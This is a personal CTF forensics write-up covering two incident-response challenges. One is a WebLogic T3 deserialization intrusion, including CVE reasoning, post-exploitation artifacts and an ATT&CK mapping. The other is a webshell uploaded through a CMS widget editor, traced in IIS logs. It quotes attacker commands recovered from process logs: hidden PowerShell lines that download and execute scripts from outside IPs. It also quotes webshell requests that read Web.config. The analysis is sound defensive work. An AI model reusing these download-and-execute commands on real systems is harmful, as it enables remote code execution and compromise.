A bit of context
Last year, I took part in VCS Passport CTF Blue 2025. I solved one challenge but didn’t have time to solve the others. I wrote a write-up for the challenge I completed (only one TvT), but it lacked detail: I overlooked important evidence, and much of my approach was intuitive. This year, I decided to revisit it with a more thorough analysis and document the remaining challenges. I did it without an AI agent, just some good old Google searches and my own brain.

Don’t know why I’m doing this while I’m hustling my ass off with my midterm exams and task on my internship. Maybe to procrastinate from my internship tasks and exams. I’m fvked

You can read my original write-up here
Forensic 1
Description

Attacker thực hiện khai thác lỗ hổng trên server của bạn. Dựa trên log đã thu thập, tìm thời điểm ghi nhận dấu hiệu khai thác lỗ hổng rõ ràng nhất trong log và CVE attacker đã sử dụng là gì. Định dạng flag VCS{ddMMyy_hhmmss_CVE-yyyy-aaaaa}
Last year situation
This was the only challenge I solved last year. My original write-up covered the flag and my EXACT thought process. Sitting in the exam room with the clock ticking and barely any space for my mouse on the small table, I was under pressure to solve it quickly. I didn’t have time to review the evidence pack thoroughly, so I relied on intuition and guesswork.
I used 8 of my 10 attempts on wrong answers. Most were, ironically, idiotic guesses and pure speculation. I was careless back then. After five or six tries, I almost gave up and switched to another challenge. I solved this one with only 30 minutes left. Then I spent the remaining 30 minutes to fold an origami crane instead of solving other challenges. NEAT!

Thought Process
Initial analysis
The evidence pack contains numerous log files, text files, and other artifacts.

Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 12/19/2025 2:20 PM event_log
d----- 5/24/2025 12:59 PM logs_webapp
d----- 12/15/2025 11:40 AM SAMPLE
d----- 12/15/2025 11:04 AM webshell_output
-a---- 5/24/2025 7:14 AM 1448 appdata_Administrator_created.txt
-a---- 5/24/2025 7:14 AM 1448 appdata_Administrator_modified.txt
-a---- 5/24/2025 7:14 AM 431 appdata_Default User_created.txt
-a---- 5/24/2025 7:14 AM 431 appdata_Default User_modified.txt
-a---- 5/24/2025 7:14 AM 426 appdata_Default_created.txt
-a---- 5/24/2025 7:14 AM 426 appdata_Default_modified.txt
-a---- 5/24/2025 7:05 AM 1429 checkinject_code.csv
-a---- 5/24/2025 7:14 AM 0 checkinject_com.txt
-a---- 5/24/2025 7:13 AM 149 check_CVE-2021-1675.txt
-a---- 5/24/2025 7:13 AM 19 check_CVE_2019_0708.txt
-a---- 5/24/2025 7:13 AM 32 check_CVE_2020_0688.txt
-a---- 5/24/2025 7:13 AM 184 check_ms17_010.txt
-a---- 5/24/2025 7:13 AM 130 check_ProxyLogon_CVE-2021-26855.txt
-a---- 5/24/2025 7:13 AM 130 check_ProxyShell_CVE-2021-34473.txt
-a---- 5/24/2025 7:14 AM 534 check_SID_History_injection.txt
-a---- 5/24/2025 7:14 AM 548 check_SPN_Kerberoasting.txt
-a---- 5/24/2025 7:02 AM 25 currentuser.txt
-a---- 5/24/2025 7:14 AM 2001 c_drive_created.txt
-a---- 5/24/2025 7:14 AM 2001 c_drive_modified.txt
-a---- 5/24/2025 7:09 AM 0 hidden_task.txt
-a---- 5/24/2025 7:09 AM 2134 ipconfig_all.txt
-a---- 5/24/2025 7:02 AM 177702 lastactivity.html
-a---- 5/24/2025 7:14 AM 2038 localappdata_Administrator_created.txt
-a---- 5/24/2025 7:14 AM 2038 localappdata_Administrator_modified.txt
-a---- 5/24/2025 7:14 AM 889 localappdata_Default User_created.txt
-a---- 5/24/2025 7:14 AM 889 localappdata_Default User_modified.txt
-a---- 5/24/2025 7:14 AM 884 localappdata_Default_created.txt
-a---- 5/24/2025 7:14 AM 884 localappdata_Default_modified.txt
-a---- 5/24/2025 7:09 AM 271 local_admin_list.txt
-a---- 5/24/2025 7:13 AM 807 local_users_dir_created.txt
-a---- 5/24/2025 7:13 AM 807 local_users_dir_modified.txt
-a---- 5/24/2025 7:09 AM 354 local_users_list.txt
-a---- 5/24/2025 7:13 AM 123 logged_on_users.txt
-a---- 5/24/2025 7:08 AM 7194168 log_autoruns.arn
-a---- 5/24/2025 7:08 AM 258066 log_processes.txt
-a---- 5/24/2025 7:09 AM 24852 netstat_abno.txt
-a---- 5/24/2025 7:09 AM 19852 netstat_ano.txt
-a---- 5/24/2025 7:09 AM 6178 netstat_ano_list.txt
-a---- 5/24/2025 7:14 AM 2 portproxy.txt
-a---- 5/24/2025 7:08 AM 109340 processes_list.csv
-a---- 5/24/2025 7:08 AM 422404 processes_list.txt
-a---- 5/24/2025 7:08 AM 4558774 processes_list.xml
-a---- 5/24/2025 7:14 AM 1853 programdata_created.txt
-a---- 5/24/2025 7:14 AM 1853 programdata_modified.txt
-a---- 5/24/2025 7:14 AM 792 programfiles_common_files_created.txt
-a---- 5/24/2025 7:14 AM 792 programfiles_common_files_modified.txt
-a---- 5/24/2025 7:14 AM 716 programfiles_x86_common_files_created.txt
-a---- 5/24/2025 7:14 AM 716 programfiles_x86_common_files_modified.txt
-a---- 5/24/2025 7:13 AM 116 psexesvc_created.txt
-a---- 5/24/2025 7:13 AM 116 psexesvc_modified.txt
-a---- 5/24/2025 7:13 AM 75 psexesvc_reg_svc.txt
-a---- 5/24/2025 7:13 AM 51 psexesvc_reg_svc_LastWriteTime.txt
-a---- 5/24/2025 7:13 AM 122 psexesvc_service.txt
-a---- 5/24/2025 7:02 AM 75 rasoat_history.txt
-a---- 5/24/2025 7:13 AM 2 reg_AppCompatFlags_Custom.txt
-a---- 5/24/2025 7:13 AM 129 reg_AppCompatFlags_Custom_LastWriteTime.txt
-a---- 5/24/2025 7:13 AM 75 reg_AppCompatFlags_InstalledSDB.txt
-a---- 5/24/2025 7:13 AM 51 reg_AppCompatFlags_InstalledSDB_LastWriteTime.txt
-a---- 5/24/2025 7:13 AM 79 reg_Lsa_DSRMAdminLogonBehavior.txt
-a---- 5/24/2025 7:13 AM 99 reg_Lsa_LastWriteTime.txt
-a---- 5/24/2025 7:13 AM 106 reg_Lsa_SecurityPackages.txt
-a---- 5/24/2025 7:13 AM 75 reg_RunOnceEx.txt
-a---- 5/24/2025 7:13 AM 51 reg_RunOnceEx_LastWriteTime.txt
-a---- 5/24/2025 7:13 AM 75 reg_SilentProcessExit.txt
-a---- 5/24/2025 7:13 AM 51 reg_SilentProcessExit_LastWriteTime.txt
-a---- 5/24/2025 7:13 AM 121 reg_WDigest_LastWriteTime.txt
-a---- 5/24/2025 7:13 AM 79 reg_WDigest_UseLogonCredential.txt
-a---- 5/24/2025 7:13 AM 356 shimx64_created.txt
-a---- 5/24/2025 7:13 AM 356 shimx64_modified.txt
-a---- 5/24/2025 7:13 AM 419 shim_created.txt
-a---- 5/24/2025 7:13 AM 419 shim_modified.txt
-a---- 5/24/2025 7:09 AM 2410 sid.txt
-a---- 5/24/2025 7:13 AM 358 sigcheck_system32_atbroker.txt
-a---- 5/24/2025 7:13 AM 346 sigcheck_system32_displayswitch.txt
-a---- 5/24/2025 7:13 AM 347 sigcheck_system32_magnify.txt
-a---- 5/24/2025 7:13 AM 340 sigcheck_system32_narrator.txt
-a---- 5/24/2025 7:13 AM 354 sigcheck_system32_osk.txt
-a---- 5/24/2025 7:13 AM 351 sigcheck_system32_sethc.txt
-a---- 5/24/2025 7:13 AM 341 sigcheck_system32_utilman.txt
-a---- 5/24/2025 7:13 AM 358 sigcheck_syswow64_atbroker.txt
-a---- 5/24/2025 7:13 AM 346 sigcheck_syswow64_displayswitch.txt
-a---- 5/24/2025 7:13 AM 347 sigcheck_syswow64_magnify.txt
-a---- 5/24/2025 7:13 AM 33 sigcheck_syswow64_narrator.txt
-a---- 5/24/2025 7:13 AM 354 sigcheck_syswow64_osk.txt
-a---- 5/24/2025 7:13 AM 351 sigcheck_syswow64_sethc.txt
-a---- 5/24/2025 7:13 AM 341 sigcheck_syswow64_utilman.txt
-a---- 5/24/2025 7:14 AM 295713 system32_created.txt
-a---- 5/24/2025 7:14 AM 295713 system32_modified.txt
-a---- 5/24/2025 7:14 AM 508 system32_tasks_created.txt
-a---- 5/24/2025 7:09 AM 3089 systeminfo.txt
-a---- 5/24/2025 7:14 AM 210992 syswow64_created.txt
-a---- 5/24/2025 7:14 AM 210992 syswow64_modified.txt
-a---- 5/24/2025 7:09 AM 10220 tasklist.txt
-a---- 12/15/2025 11:39 AM 29579 tasklistv.txt
-a---- 5/24/2025 7:09 AM 14651 tcpvcon_acn.txt
-a---- 5/24/2025 7:14 AM 10821 temp_Administrator_created.txt
-a---- 5/24/2025 7:14 AM 10821 temp_Administrator_modified.txt
-a---- 5/24/2025 7:14 AM 361 temp_Default User_created.txt
-a---- 5/24/2025 7:14 AM 361 temp_Default User_modified.txt
-a---- 5/24/2025 7:14 AM 356 temp_Default_created.txt
-a---- 5/24/2025 7:14 AM 356 temp_Default_modified.txt
-a---- 5/24/2025 7:22 AM 23214 unverify_dll.txt
-a---- 5/24/2025 7:10 AM 262187 UpdateHistory.csv
-a---- 5/24/2025 7:15 AM 1058 USBDeview.html
-a---- 5/24/2025 7:14 AM 991 user_public_created.txt
-a---- 5/24/2025 7:14 AM 991 user_public_modified.txt
-a---- 12/15/2025 11:19 AM 86831 version.png
-a---- 5/24/2025 7:14 AM 8028 windows_created.txt
-a---- 5/24/2025 7:14 AM 28595 windows_drivers_created.txt
-a---- 5/24/2025 7:14 AM 28595 windows_drivers_modified.txt
-a---- 5/24/2025 7:14 AM 8028 windows_modified.txt
-a---- 5/24/2025 7:14 AM 338 windows_tasks_created.txt
-a---- 5/24/2025 7:14 AM 7161 windows_temp_created.txt
-a---- 5/24/2025 7:14 AM 7161 windows_temp_modified.txt
-a---- 5/24/2025 7:13 AM 43518 wmic_product.txt
-a---- 5/24/2025 7:10 AM 3278 wmic_qfe.txt
-a---- 5/24/2025 7:13 AM 634 wmi_event_consumer.txt
-a---- 5/24/2025 7:13 AM 374 wmi_event_filter.txt
-a---- 5/24/2025 7:13 AM 546 wmi_filter_consumer_binding.txt
-a---- 5/24/2025 7:13 AM 36 wmi_timer_instruction.txtI started by sorting the files by size and reviewing non-text artifacts as well.
Among these artifacts, version.png is a PNG image that contains information about the server.

The image identifies the server as Oracle WebLogic Server 10.3.6.0. I used this version to narrow the CVE search, then checked the logs for exploitation evidence.
After skipping the empty log files, I found these entries in log_processes.txt, which records command lines for processes that were running on the machine.

cmd.exe cmd /c "cd /d "C:/PROGRA~1/Oracle/BIPUBL~1/bip/server/domains/bipdomain/"&powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://47.129.2.130:8080/a'))"" 2>&1
20250524014124.338415+420 C:\Windows\SYSTEM32\cmd.exe 1568 11916 The corresponding powershell.exe process entry is:
powershell.exe powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://47.129.2.130:8080/a'))"20250524014124.398866+420 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 11916 9452These PowerShell commands fetch and execute scripts from remote servers, and the cmd.exe command launches PowerShell. The timestamp 20250524014124 (24/05/2025 at 01:41:24) anchors this post-exploitation activity in the timeline.
After that, a svchost.exe process was launched.

cmd.exe C:\Windows\system32\cmd.exe /C C:\Users\Public\Music\svchost.exe
20250524014315.447656+420 C:\Windows\system32\cmd.exe 9452 7088The path C:\Users\Public\Music\svchost.exe is not the normal location for the Windows svchost.exe, making this execution suspicious. The log timestamp, 20250524014315 (24/05/2025 at 01:43:15), is about two minutes after the previous command.
I checked the parent process of cmd.exe in the same log to see whether it was related to the suspected attacker activity.

The log shows that java.exe, the Oracle WebLogic Server process, spawned cmd.exe. This supports the link between the WebLogic process and the suspicious command.
Web server log analysis
To identify the exploited CVE, I reviewed the web server logs in the logs_webapp folder.

The access.log files contain incoming requests to the web server. The process logs place post-exploitation activity at 24/05/2025 01:41:24, so I reviewed access-log entries around that time and earlier in the day.
The files contain thousands of entries, most of them POST requests to the same endpoint, /xmlpserver/convert. The access.log and access.log00754 files include entries from 24/05/2025.
The bipdomain.log provides historical context from 2021-2022. I then focused on bipserver.log for the 2025 activity.


I checked bipserver.log, which contains data from 2025.

While reviewing entries from 24/05/2025, I found a Java stack trace at around 01:30:20.

I then examined the Java stack trace.
The RJVM (Remote Java Virtual Machine) subsystem and BEA-000503 message (Incoming message header or abbreviation processing failed) show that the bipserver instance on host NGANSACH failed while processing an incoming message.

Java stack traces list the point of failure first, followed by the callers that led to it. Reading the frames from bottom to top traces the call path from the original caller toward the point of failure. Java stack trace

First, I looked at how WebLogic received the network message.
at weblogic.rjvm.MsgAbbrevJVMConnection.readMsgAbbrevs(MsgAbbrevJVMConnection.java:283)
at weblogic.rjvm.MsgAbbrevInputStream.init(MsgAbbrevInputStream.java:213)
at weblogic.rjvm.MsgAbbrevJVMConnection.dispatch(MsgAbbrevJVMConnection.java:498)
at weblogic.rjvm.t3.MuxableSocketT3.dispatch(MuxableSocketT3.java:330)
at weblogic.socket.BaseAbstractMuxableSocket.dispatch(BaseAbstractMuxableSocket.java:387)
at weblogic.socket.SocketMuxer.readReadySocketOnce(SocketMuxer.java:967)
at weblogic.socket.SocketMuxer.readReadySocket(SocketMuxer.java:889)
at weblogic.socket.JavaSocketMuxer.processSockets(JavaSocketMuxer.java:339)
at weblogic.socket.SocketReaderRequest.run(SocketReaderRequest.java:29)
at weblogic.work.ExecuteThread.execute(ExecuteThread.java:256)
at weblogic.work.ExecuteThread.run(ExecuteThread.java:221)In short, the stack trace shows WebLogic processing incoming data over its T3 protocol. This narrows the candidates to vulnerabilities involving T3.
The stack trace also includes these classes and objects:
- HashMap
- LazyMap
- InstantiateTransformer
- ChainedTransformer
Searching for these names alongside deserialization showed that they are associated with the Apache Commons Collections library.

The stack trace also includes ObjectInputStream, Java’s class for reading serialized objects from an input stream. This is consistent with an attacker sending a crafted serialized object to the server. Java ObjectInputStream

at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:969)
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1852)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1756)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1326)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:348)
at weblogic.jms.common.StreamMessageImpl.readExternal(StreamMessageImpl.java:1433)
at java.io.ObjectInputStream.readExternalData(ObjectInputStream.java:1795)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1754)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1326)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:348)
at weblogic.rjvm.InboundMsgAbbrev.readObject(InboundMsgAbbrev.java:66)The stack trace places InboundMsgAbbrev.readObject() and StreamMessageImpl.readExternal() in the deserialization path.
At this point, I had the following evidence:
- The server was running Oracle WebLogic Server 10.3.6.0.
- The stack trace points to Java deserialization through WebLogic’s T3/JMS code paths.
- The classes in the trace are consistent with an Apache Commons Collections gadget chain.
- The trace includes
InboundMsgAbbrev.readObject()andStreamMessageImpl.readExternal().
Based on this information, I searched for CVEs associated with these WebLogic classes and protocols.
Oracle Weblogic CVE Deserialization "T3" "InboundMsgAbbrev.readObject" "StreamMessageImpl.readExternal"

The candidates are CVE-2015-4852 and CVE-2016-0638.
The stack trace timestamp is 20250524013020 (24/05/2025 at 01:30:20).
The accepted flag I submitted was VCS{240525_013020_CVE-2015-4852}. It took me 8 out of 10 tries during last year’s CTF ¯_(ツ)_/¯
Wrong flag?
Although I submitted the accepted flag last year, I now favor CVE-2016-0638. The stack trace includes StreamMessageImpl.readExternal(). Oracle describes CVE-2015-4852 as a WebLogic deserialization vulnerability over T3 and patched it by blacklisting. The StreamMessageImpl.readExternal() was used in CVE-2016-0638 to bypass the blacklist. The stack trace show both StreamMessageImpl.readExternal() and InboundMsgAbbrev.readObject(), which is consistent with CVE-2016-0638 being used. Or the attacker just used the newer CVE to exploit the old one. Who knows.
Post-exploitation analysis
During the competition, I only needed to identify the CVE and submit the flag. With more time to review the evidence pack, I could investigate what the attacker did after gaining access. I already found svchost.exe in C:\Users\Public\Music\ and a PowerShell command that fetched and invoked a script from a remote server.
The evidence pack includes a SAMPLE folder containing Windows Event Log files. I parsed them with EvtxECmd and reviewed the output in both Timeline Explorer and Hayabusa (͡• ͜໒ ͡• )
First, I used Hayabusa.

I then used Timeline Explorer to inspect the output .csv file.
One item that stood out was a ScriptBlock warning with Event ID 4104.

To inspect the ScriptBlock, I parsed Microsoft-Windows-PowerShell%4Operational.evtx with EvtxECmd.

I found several Base64-encoded blobs. Decoding the relevant blob and decompressing it with GZip revealed the following:

The snippet is a PowerShell in-memory shellcode runner.
I then reviewed the process artifacts.
The process artifact records outbound connections from C:\Users\Public\Music\svchost.exe to 104.21.85.130:443 and 172.67.206.45:443.

The System log shows a kernel-driver service registered with the path C:\Users\Public\Music\bdflt.sys. Windows reported that the service failed to start because it could not find the file.

Hayabusa surfaced these artifacts.
Parsing Windows PowerShell.evtx revealed more information.

Two remote scripts or payloads were fetched and invoked through PowerShell: defender.txt from http://103.171.92.207:3442/defender.txt and a from http://47.129.2.130:8080/a.
I don’t know if this expanded write-up would have impressed my interviewer more than my original submission (¯_(ツ)_/¯)
P.S. I’m the only one who solved this last year :P
MITRE ATT&CK Mapping
The observed actions map to the following ATT&CK techniques.
| Tactic | Technique | Observed action |
|---|---|---|
| Initial Access | T1190 - Exploit Public-Facing Application | The WebLogic stack trace and subsequent process activity point to exploitation of the public-facing server. |
| Execution | T1059.003 - Windows Command Shell | java.exe spawned cmd.exe, which launched PowerShell. |
| Execution | T1059.001 - PowerShell | Hidden PowerShell commands used IEX and DownloadString to retrieve and invoke remote scripts. |
| Command and Control | T1105 - Ingress Tool Transfer | PowerShell fetched content from two external URLs and invoked the downloaded content. |
| Defense Evasion | T1027.013 - Encrypted/Encoded File | The loader uses Base64 and XOR encoding to conceal payload bytes. |
| Defense Evasion | T1027.015 - Compression | The PowerShell wrapper contains GZip-compressed content. |
| Defense Evasion | T1027.007 - Dynamic API Resolution | The loader resolves Windows APIs dynamically before invoking the payload. |
| Stealth | T1620 - Reflective Code Loading | The loader allocates executable memory, copies the payload into it, and invokes it in memory. |
| Persistence (attempted) | T1543.003 - Windows Service | A kernel-driver service was registered with a driver path under C:\Users\Public\Music\; its start attempt failed because Windows could not find the file. |
| Defense Evasion | T1036.005 - Match Legitimate Resource Name or Location | svchost.exe ran from C:\Users\Public\Music\, using a legitimate system binary name from a non-standard location. |
Forensic 2
Description

Attacker thực hiện khai thác lỗ hổng trên web và tạo thành công webshell lên server. Bạn cần kiểm tra để tìm ra nguyên nhân attacker đã lợi dụng để upload webshell. Flag gồm tên chức năng và tên hàm có thể trigger việc tạo webshell. Định dạng: VCS{Tên chức năng_Tên hàm trigger}
Last year situation
This was the challenge I was about to switch to after nearly giving up on Forensic 1. Then I saw .dll reversing and BOOM I went straight back to Forensic 1.

I managed to solve Forensic 1, but still decided to skip this one.
Thought Process
The evidence pack contains:

Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 12/15/2025 1:45 PM DWebsiteInternetVCSLABClientDynamicTemp
d----- 12/15/2025 1:45 PM DWebsiteInternetVCSLABUserFilefiles2025
-a---- 5/16/2024 9:56 AM 184832 BSO.dll
-a---- 12/15/2025 1:48 PM 647771 u_ex250711.log
-a---- 12/15/2025 1:41 PM 1582592 WebPublicProject.dllI checked u_ex250711.log, the IIS web server log.

At this point, I had little context, so searching the log was like looking for a needle in a haystack. I needed to narrow down the search.
I turned to the DWebsiteInternetVCSLABUserFilefiles2025 folder, which contains two files: image.ashx.sc and image.ashx_INFO.txt. The image.ashx.sc file contains a JScript handler.



The image.ashx.sc file looks like a file manager. It allows users to upload, delete, and download files, so it gives me a starting point.
The image.ashx_INFO.txt file contains the following information:
FILETIME:
STANDARD FILE TIME:
File Create Time (CTime): 2025-7-11 9:52:4
File Modified Time (ATime): 2025-7-11 9:52:4
File Last Access Time (RTime): 2025-7-11 9:52:4
MFT FILE TIME:
image.ashx
File Create Time (CTime): 2025-7-11 16:52:4
File Modified Time (ATime): 2025-7-11 16:52:4
MFT Entry modified Time (MTime): 2025-7-11 16:52:4
File Last Access Time (RTime): 2025-7-11 16:52:4
REGISTRY LAST WRITE TIME:
Account Owner: IIS APPPOOL:Internet
STANDARD FILE TIME:
File Create Time (CTime): 2025-7-11 9:52:4
File Modified Time (ATime): 2025-7-11 9:52:4
File Last Access Time (RTime): 2025-7-11 9:52:4
MFT FILE TIME:
image.ashx
File Create Time (CTime): 2025-7-11 16:52:4
File Modified Time (ATime): 2025-7-11 16:52:4
MFT Entry modified Time (MTime): 2025-7-11 16:52:4
File Last Access Time (RTime): 2025-7-11 16:52:4
REGISTRY LAST WRITE TIME:
Account Owner: IIS APPPOOL:Internet
REGISTRY LAST WRITE TIME:The image.ashx file was created on 11/07/2025 at 09:52:04, so I used this timestamp to filter the IIS log.
I also checked the DWebsiteInternetVCSLABClientDynamicTemp folder. It contains multiple .ascx.sc files and an INFO.txt file.

The file that stood out was 962.ascx.sc. It is 33 KB, while the other files are only 2 KB.

When I opened it, I found a large block of hexadecimal data and a path to image.ashx.

The 962.ascx.sc file was created on 11/07/2025 at 09:51:59.
I then checked the IIS log around that time. The requests in this were all came from 172.16.254.254.

2025-07-11 09:51:33 10.3.2.11 GET /c3/vi-VN/gioi-thieu/Lich-su-phat-trien-2-811 - 80 - 172.16.254.254 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/138.0.0.0+Safari/537.36 https://vcslabhanoi.vcslab.com.vn/c3/vi-VN/gioi-thieu/Lich-su-phat-trien-2-811 200 0 0 13
2025-07-11 09:51:55 10.3.2.11 POST /AdminPopup/vi-VN/EditHtml/4603 - 80 - 172.16.254.254 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:140.0)+Gecko/20100101+Firefox/140.0 https://vcslabhanoi.vcslab.com.vn/AdminPopup/vi-VN/EditHtml/4603 200 0 0 29
2025-07-11 09:51:56 10.3.2.11 GET /ViewEditWidget/vi-VN/4603/20 - 80 - 172.16.254.254 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:140.0)+Gecko/20100101+Firefox/140.0 https://vcslabhanoi.vcslab.com.vn/AdminPopup/vi-VN/EditWidgetPageLayoutbyPage/114 200 0 0 8
2025-07-11 09:51:56 10.3.2.11 GET /CSS_Admins/htmleditor/js/ace/worker-javascript.js - 80 - 172.16.254.254 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:140.0)+Gecko/20100101+Firefox/140.0 https://vcslabhanoi.vcslab.com.vn/AdminPopup/vi-VN/EditHtml/4603 200 0 0 2
2025-07-11 09:51:56 10.3.2.11 GET /CSS_Admins/htmleditor/js/ace/worker-html.js - 80 - 172.16.254.254 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:140.0)+Gecko/20100101+Firefox/140.0 https://vcslabhanoi.vcslab.com.vn/AdminPopup/vi-VN/EditHtml/4603 200 0 0 2
2025-07-11 09:51:56 10.3.2.11 GET /CSS_Admins/htmleditor/js/ace/worker-css.js - 80 - 172.16.254.254 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:140.0)+Gecko/20100101+Firefox/140.0 https://vcslabhanoi.vcslab.com.vn/AdminPopup/vi-VN/EditHtml/4603 200 0 0 23
2025-07-11 09:51:57 10.3.2.11 GET /ViewEditWidget/vi-VN/4603/20 - 80 - 172.16.254.254 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:140.0)+Gecko/20100101+Firefox/140.0 https://vcslabhanoi.vcslab.com.vn/AdminPopup/vi-VN/EditWidgetPageLayoutbyPage/114 200 0 0 25
2025-07-11 09:51:57 10.3.2.11 GET /ckeditor/ckeditor.js t=C6HH5UF 80 - 172.16.254.254 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:140.0)+Gecko/20100101+Firefox/140.0 https://vcslabhanoi.vcslab.com.vn/ViewEditWidget/vi-VN/4603/20 200 0 0 0
2025-07-11 09:51:57 10.3.2.11 GET /ckeditor/config.js - 80 - 172.16.254.254 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:140.0)+Gecko/20100101+Firefox/140.0 https://vcslabhanoi.vcslab.com.vn/ViewEditWidget/vi-VN/4603/20 200 0 0 1
2025-07-11 09:51:57 10.3.2.11 GET /ckeditor/plugins/filebrowser/plugin.js - 80 - 172.16.254.254 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:140.0)+Gecko/20100101+Firefox/140.0 https://vcslabhanoi.vcslab.com.vn/ViewEditWidget/vi-VN/4603/20 200 0 0 0
2025-07-11 09:51:59 10.3.2.11 POST /ViewEditWidget/vi-VN/4603/20 - 80 - 172.16.254.254 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:140.0)+Gecko/20100101+Firefox/140.0 https://vcslabhanoi.vcslab.com.vn/ViewEditWidget/vi-VN/4603/20 200 0 0 42
2025-07-11 09:52:04 10.3.2.11 GET /ViewWidgetPreview/vi-VN/4603/114 - 80 - 172.16.254.254 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:140.0)+Gecko/20100101+Firefox/140.0 https://vcslabhanoi.vcslab.com.vn/AdminPopup/vi-VN/EditWidgetPageLayoutbyPage/114 200 0 0 401
2025-07-11 09:52:04 10.3.2.11 GET /Theme/assets/vendor/jquery/jquery.min.js - 80 - 172.16.254.254 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:140.0)+Gecko/20100101+Firefox/140.0 https://vcslabhanoi.vcslab.com.vn/ViewWidgetPreview/vi-VN/4603/114 200 0 0 0
2025-07-11 09:52:04 10.3.2.11 GET /Theme/assets/vendor/jquery-migrate/jquery-migrate.min.js - 80 - 172.16.254.254 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:140.0)+Gecko/20100101+Firefox/140.0 https://vcslabhanoi.vcslab.com.vn/ViewWidgetPreview/vi-VN/4603/114 200 0 0 0
2025-07-11 09:52:28 10.3.2.11 GET /userfile/files/2025/image.ashx - 80 - 172.16.254.254 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/138.0.0.0+Safari/537.36+Edg/138.0.0.0 - 200 0 0 582
2025-07-11 09:52:32 10.3.2.11 GET /userfile/files/2025/image.ashx access=D%3a%5cWebsite%5cInternetBQLDA 80 - 172.16.254.254 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/138.0.0.0+Safari/537.36+Edg/138.0.0.0 https://vcslabhanoi.vcslab.com.vn/userfile/files/2025/image.ashx 200 0 0 6
2025-07-11 09:52:32 10.3.2.11 GET /userfile/files/2025/image.ashx access=D%3a%5cWebsite 80 - 172.16.254.254 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/138.0.0.0+Safari/537.36+Edg/138.0.0.0 https://vcslabhanoi.vcslab.com.vn/userfile/files/2025/image.ashx?access=D%3a%5cWebsite%5cInternetBQLDA 200 0 0 1
2025-07-11 09:52:37 10.3.2.11 GET /userfile/files/2025/image.ashx access=D%3a%5cWebsite%5cTvShowBQLDA 80 - 172.16.254.254 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/138.0.0.0+Safari/537.36+Edg/138.0.0.0 https://vcslabhanoi.vcslab.com.vn/userfile/files/2025/image.ashx?access=D%3a%5cWebsite 200 0 0 3
2025-07-11 09:52:39 10.3.2.11 GET /userfile/files/2025/image.ashx getfile=Web.config&access=D%3a%5cWebsite%5cTvShowBQLDA 80 - 172.16.254.254 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/138.0.0.0+Safari/537.36+Edg/138.0.0.0 https://vcslabhanoi.vcslab.com.vn/userfile/files/2025/image.ashx?access=D%3a%5cWebsite%5cTvShowBQLDA 200 0 0 10
2025-07-11 09:53:08 10.3.2.11 GET /userfile/files/2025/image.ashx access=D%3a%5c 80 - 172.16.254.254 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/138.0.0.0+Safari/537.36+Edg/138.0.0.0 https://vcslabhanoi.vcslab.com.vn/userfile/files/2025/image.ashx?access=D%3a%5cWebsite 200 0 0 1
2025-07-11 09:53:10 10.3.2.11 GET /userfile/files/2025/image.ashx access=D%3a%5cWebsite 80 - 172.16.254.254 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/138.0.0.0+Safari/537.36+Edg/138.0.0.0 https://vcslabhanoi.vcslab.com.vn/userfile/files/2025/image.ashx?access=D%3a%5c 200 0 0 1
2025-07-11 09:53:10 10.3.2.11 GET /userfile/files/2025/image.ashx access=D%3a%5c 80 - 172.16.254.254 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/138.0.0.0+Safari/537.36+Edg/138.0.0.0 https://vcslabhanoi.vcslab.com.vn/userfile/files/2025/image.ashx?access=D%3a%5cWebsite 200 0 0 1
2025-07-11 09:53:11 10.3.2.11 GET /userfile/files/2025/image.ashx access=D%3a%5cvcslabNEWS 80 - 172.16.254.254 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/138.0.0.0+Safari/537.36+Edg/138.0.0.0 https://vcslabhanoi.vcslab.com.vn/userfile/files/2025/image.ashx?access=D%3a%5c 200 0 0 9
